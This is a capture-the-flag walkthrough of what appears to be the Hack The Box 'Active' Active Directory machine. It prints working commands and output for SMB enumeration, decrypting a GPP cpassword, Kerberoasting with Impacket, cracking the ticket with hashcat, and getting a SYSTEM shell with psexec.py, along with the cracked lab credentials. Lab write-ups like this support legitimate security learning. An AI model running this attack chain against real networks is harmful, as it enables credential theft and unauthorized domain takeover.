1,Recon port scan
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-12-15 13:10:03Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5722/tcp open msrpc Microsoft Windows RPC
9389/tcp open mc-nmf .NET Message Framing
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc Microsoft Windows RPC
49169/tcp open msrpc Microsoft Windows RPC
49171/tcp open msrpc Microsoft Windows RPC
49180/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 2:1:0:
|_ Message signing enabled and required
| smb2-time:
| date: 2024-12-15T13:11:01
|_ start_date: 2024-12-15T13:07:25
It is clear that this is a Active Directory machine, so it would be easily thought about port 445 SMB service.
smbclient -L //10.10.10.100
Password for [WORKGROUP\wither]:
Anonymous login successful
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
Replication Disk
SYSVOL Disk Logon server share
Users Disk
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.100 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
and also we can use smbmap to check what we can check
smbmap -H 10.10.10.100
________ ___ ___ _______ ___ ___ __ _______
/" )|" \ /" || _ "\ |" \ /" | /""\ | __ "\
(: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :)
\___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/
__/ \ |: \. |(| _ \ |: \. | // __' \ (| /
/" \ :) |. \ /: ||: |_) :)|. \ /: | / / \ \ /|__/ \
(_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.5 | Shawn Evans - ShawnDEvans@gmail.com
https://github.com/ShawnDEvans/smbmap
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)
[+] IP: 10.10.10.100:445 Name: 10.10.10.100 Status: Authenticated
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ NO ACCESS Remote IPC
NETLOGON NO ACCESS Logon server share
Replication READ ONLY
SYSVOL NO ACCESS Logon server share
Users NO ACCESS
[*] Closed 1 connections
Since I can access \10.10.10.100\Replication without a password, I’ll use smbclient to connect and look around.
And after enumerating the file system, I found something useful
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\> get Groups.xml
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</Groups>
Whenever a new Group Policy Preference (GPP) is created, there’s an xml file created in the SYSVOL share with that config data, including any passwords associated with the GPP. For security, Microsoft AES encrypts the password before it’s stored as cpassword. But then Microsoft published the key on MSDN!
Since the key is known, I can decrypt the password. Kali has a tool called gpp-decrypt that will do it:
gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
GPPstillStandingStrong2k18
Then let's use the credit SVC_TGS:GPPstillStandingStrong2k18
smbmap -H 10.10.10.100 -u SVC_TGS -p GPPstillStandingStrong2k18
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ NO ACCESS Remote IPC
NETLOGON READ ONLY Logon server share
Replication READ ONLY
SYSVOL READ ONLY Logon server share
Users READ ONLY
![[Pasted image 20241215083011.png]]
In this place, I hope I can use evil-winrm to login and get shell as SVC_TGS, but very sadly, we did not success.But we can get the user.txt from user SVC_TGS
Kerberos is a protocol for authentication used in Windows Active Directory environments (though it can be used for auth to Linux hosts as well). In 2014, Tim Medin presented an attack on Kerberos he called Kerberoasting. It’s worth reading through the presentation, as Tim uses good graphics to illustrate the process, but I’ll try to give a simple overview.
I’ll use the GetUserSPNs.py script from Impacket to get a list of service usernames which are associated with normal user accounts. It will also get a ticket that I can crack.
GetUserSPNs.py -request -dc-ip 10.10.10.100 active.htb/SVC_TGS -save -outputfile GetUserSPNs.out
Impacket v0.9.16-dev - Copyright 2002-2018 Core Security Technologies
Password:
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon
-------------------- ------------- -------------------------------------------------------- ------------------- -------------------
active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb 2018-07-18 15:06:40 2018-07-21 11:05:53
It also gives me the ticket, which I can try to brute force decrypt to get the user’s password:
cat GetUserSPNs.out
$krb5tgs$23$*Administrator$ACTIVE.HTB$active/CIFS~445*$7028f37607953ce9fd6c9060de4aece5$55e2d21e37623a43d8cd5e36e39bfaffc52abead3887ca728d527874107ca042e0e9283ac478b1c91cab58c9184828e7a5e0af452ad2503e463ad2088ba97964f65ac10959a3826a7f99d2d41e2a35c5a2c47392f160d65451156893242004cb6e3052854a9990bac4deb104f838f3e50eca3ba770fbed089e1c91c513b7c98149af2f9a994655f5f13559e0acb003519ce89fa32a1dd1c8c7a24636c48a5c948317feb38abe54f875ffe259b6b25a63007798174e564f0d6a09479de92e6ed98f0887e19b1069b30e2ed8005bb8601faf4e476672865310c6a0ea0bea1ae10caff51715aea15a38fb2c1461310d99d6916445d7254f232e78cf9288231e436ab457929f50e6d4f70cbfcfd2251272961ff422c3928b0d702dcb31edeafd856334b64f74bbe486241d752e4cf2f6160b718b87aa7c7161e95fab757005e5c80254a71d8615f4e89b0f4bd51575cc370e881a570f6e5b71dd14f50b8fd574a04978039e6f32d108fb4207d5540b4e58df5b8a0a9e36ec2d7fc1150bb41eb9244d96aaefb36055ebcdf435a42d937dd86b179034754d2ac4db28a177297eaeeb86c229d0f121cf04b0ce32f63dbaa0bc5eafd47bb97c7b3a14980597a9cb2d83ce7c40e1b864c3b3a77539dd78ad41aceb950a421a707269f5ac25b27d5a6b7f334d37acc7532451b55ded3fb46a4571ac27fc36cfad031675a85e0055d31ed154d1f273e18be7f7bc0c810f27e9e7951ccc48d976f7fa66309355422124ce6fda42f9df406563bc4c20d9005ba0ea93fac71891132113a15482f3d952d54f22840b7a0a6000c8e8137e04a898a4fd1d87739bf5428d748086f0166b35c181729cc62b41ba6a9157333bb77c9e03dc9ac23782cf5dcebd11faad8ca3e3e74e25f21dc04ba9f1703bd51d100051c8f505cc8085056b94e349b57906ee8deaf026b3daa89e7c3fc747a6a31ae08376da259f3118370bef86b6e7c2f88d66400eccb122dec8028223f6dcde29ffaa5b83ecb1c3780a782a5797c527a26a7b51b62db3e4865ebc2a0a0d2c931550decb3e7ae581b59f070dd33e423a90ec2ef66982a1b6336afe968fa93f5dd2880a313dc05d4e5cf104b6d9a8316b9fe3dc16e057e0f5c835e111ab92795fb0033541916a57df8f8e6b8cc25ecff2775282ccee110c49376c2cec6b7bb95c265f1466994da89e69605594ead28d24212a137ee20197d8aa95f243c347e02616f40f4071c33f749f5b94d1259fd32174
We can also use hashcat to crack it
hashcat -m 13100 -a 0 GetUserSPNs.out /usr/share/wordlists/rockyou.txt --force
Then we get the result Ticketmaster1968
and we can also use
smbmap -H 10.10.10.100 -d active.htb -u administrator -p Ticketmaster1968
to check what we can do
root@kali# smbmap -H 10.10.10.100 -d active.htb -u administrator -p Ticketmaster1968
[+] Finding open SMB ports....
[+] User SMB session establishd on 10.10.10.100...
[+] IP: 10.10.10.100:445 Name: 10.10.10.100
Disk Permissions
---- -----------
ADMIN$ READ, WRITE
C$ READ, WRITE
IPC$ NO ACCESS
NETLOGON READ, WRITE
Replication READ ONLY
SYSVOL READ, WRITE
[!] Unable to remove test directory at \\10.10.10.100\SYSVOL\vnCfhEJMWA, plreae remove manually
Users READ ONLY
I want to get a shell. Now that the shares are writable and I have administrator access, I can get a shell with PSExec. There’s a bunch of ways to do this directly from Kali. Sticking with the Impacket tools, I’ll use psexec.py:
psexec.py active.htb/administrator@10.10.10.100
Then we can get the SYSTEM shell.